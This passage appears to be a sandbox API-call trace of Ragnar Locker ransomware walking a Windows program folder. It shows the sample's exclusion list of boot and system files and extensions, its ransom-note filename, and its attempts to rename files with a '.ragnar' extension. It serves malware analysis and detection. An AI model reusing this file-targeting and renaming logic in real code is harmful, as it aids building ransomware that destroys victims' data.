nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1 [0079.081] lstrcmpiW (lpString1="whitemenu.png", lpString2=".") returned 1 [0079.081] lstrcmpiW (lpString1="whitemenu.png", lpString2="..") returned 1 [0079.081] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0 [0079.081] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81603820, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81603820, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.081] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81603820, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81603820, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.081] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0079.081] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.081] lstrcpyW (in: lpString1=0x1eab60, lpString2="720x480blacksquare.png" | out: lpString1="720x480blacksquare.png") returned="720x480blacksquare.png" [0079.081] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned=".png" [0079.081] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.081] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="autorun.inf") returned -1 [0079.081] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="boot.ini") returned -1 [0079.081] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="bootfont.bin") returned -1 [0079.081] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="bootsect.bak") returned -1 [0079.081] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="bootmgr") returned -1 [0079.081] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="bootmgr.efi") returned -1 [0079.081] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="bootmgfw.efi") returned -1 [0079.081] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="desktop.ini") returned -1 [0079.081] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="iconcache.db") returned -1 [0079.081] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="ntldr") returned -1 [0079.081] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="ntuser.dat") returned -1 [0079.081] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="ntuser.dat.log") returned -1 [0079.081] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="ntuser.ini") returned -1 [0079.081] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="thumbs.db") returned -1 [0079.081] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.081] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.081] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.082] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.082] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.082] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.082] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png")) returned 0x20 [0079.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.082] CloseHandle (hObject=0xffffffff) returned 0 [0079.083] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" [0079.083] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png.ragnar_FD7BD9FC" [0079.083] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.083] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0079.083] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.083] lstrcpyW (in: lpString1=0x1eab60, lpString2="NextMenuButtonIcon.png" | out: lpString1="NextMenuButtonIcon.png") returned="NextMenuButtonIcon.png" [0079.083] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png") returned=".png" [0079.083] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.083] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="autorun.inf") returned 1 [0079.083] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0079.083] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="bootfont.bin") returned 1 [0079.083] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="bootsect.bak") returned 1 [0079.083] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="bootmgr") returned 1 [0079.083] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="bootmgr.efi") returned 1 [0079.083] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="bootmgfw.efi") returned 1 [0079.083] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="desktop.ini") returned 1 [0079.083] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="iconcache.db") returned 1 [0079.083] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="ntldr") returned -1 [0079.083] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="ntuser.dat") returned -1 [0079.083] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="ntuser.dat.log") returned -1 [0079.083] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="ntuser.ini") returned -1 [0079.083] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="thumbs.db") returned -1 [0079.083] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.083] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.083] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.083] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.083] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.083] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.083] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png")) returned 0x20 [0079.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.084] CloseHandle (hObject=0xffffffff) returned 0 [0079.084] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" [0079.084] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png.ragnar_FD7BD9FC" [0079.084] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.084] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0079.084] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.084] lstrcpyW (in: lpString1=0x1eab60, lpString2="NextMenuButtonIconSubpictur.png" | out: lpString1="NextMenuButtonIconSubpictur.png") returned="NextMenuButtonIconSubpictur.png" [0079.084] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png") returned=".png" [0079.084] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.084] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="autorun.inf") returned 1 [0079.084] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="boot.ini") returned 1 [0079.084] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="bootfont.bin") returned 1 [0079.084] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="bootsect.bak") returned 1 [0079.084] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="bootmgr") returned 1 [0079.084] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="bootmgr.efi") returned 1 [0079.085] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="bootmgfw.efi") returned 1 [0079.085] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="desktop.ini") returned 1 [0079.085] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="iconcache.db") returned 1 [0079.085] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="ntldr") returned -1 [0079.085] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="ntuser.dat") returned -1 [0079.085] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="ntuser.dat.log") returned -1 [0079.085] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="ntuser.ini") returned -1 [0079.085] lstrcmpiW (lpString1="NextMenuButtonIconSubpictur.png", lpString2="thumbs.db") returned -1 [0079.085] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.085] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.085] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.085] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.085] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.085] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.085] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png")) returned 0x20 [0079.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.085] CloseHandle (hObject=0xffffffff) returned 0 [0079.085] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" [0079.085] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png.ragnar_FD7BD9FC" [0079.085] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.085] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0079.085] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.086] lstrcpyW (in: lpString1=0x1eab60, lpString2="Notes_loop.wmv" | out: lpString1="Notes_loop.wmv") returned="Notes_loop.wmv" [0079.086] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned=".wmv" [0079.086] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.086] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="autorun.inf") returned 1 [0079.086] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="boot.ini") returned 1 [0079.086] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="bootfont.bin") returned 1 [0079.086] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="bootsect.bak") returned 1 [0079.086] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="bootmgr") returned 1 [0079.086] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="bootmgr.efi") returned 1 [0079.086] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="bootmgfw.efi") returned 1 [0079.086] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="desktop.ini") returned 1 [0079.086] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="iconcache.db") returned 1 [0079.086] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="ntldr") returned -1 [0079.086] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="ntuser.dat") returned -1 [0079.086] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="ntuser.dat.log") returned -1 [0079.086] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="ntuser.ini") returned -1 [0079.086] lstrcmpiW (lpString1="Notes_loop.wmv", lpString2="thumbs.db") returned -1 [0079.086] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0079.086] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0079.086] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0079.086] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0079.086] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0079.086] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0079.086] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0079.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv")) returned 0x20 [0079.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.087] CloseHandle (hObject=0xffffffff) returned 0 [0079.087] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" [0079.087] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv.ragnar_FD7BD9FC" [0079.087] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.087] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0079.087] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.087] lstrcpyW (in: lpString1=0x1eab60, lpString2="Notes_loop_PAL.wmv" | out: lpString1="Notes_loop_PAL.wmv") returned="Notes_loop_PAL.wmv" [0079.087] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv") returned=".wmv" [0079.087] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.087] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="autorun.inf") returned 1 [0079.087] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="boot.ini") returned 1 [0079.088] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="bootfont.bin") returned 1 [0079.088] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="bootsect.bak") returned 1 [0079.088] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="bootmgr") returned 1 [0079.088] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="bootmgr.efi") returned 1 [0079.088] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="bootmgfw.efi") returned 1 [0079.088] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="desktop.ini") returned 1 [0079.088] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="iconcache.db") returned 1 [0079.088] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="ntldr") returned -1 [0079.088] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="ntuser.dat") returned -1 [0079.088] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="ntuser.dat.log") returned -1 [0079.088] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="ntuser.ini") returned -1 [0079.088] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="thumbs.db") returned -1 [0079.088] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0079.088] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0079.088] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0079.088] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0079.088] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0079.088] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0079.088] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0079.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv")) returned 0x20 [0079.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.088] CloseHandle (hObject=0xffffffff) returned 0 [0079.088] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD 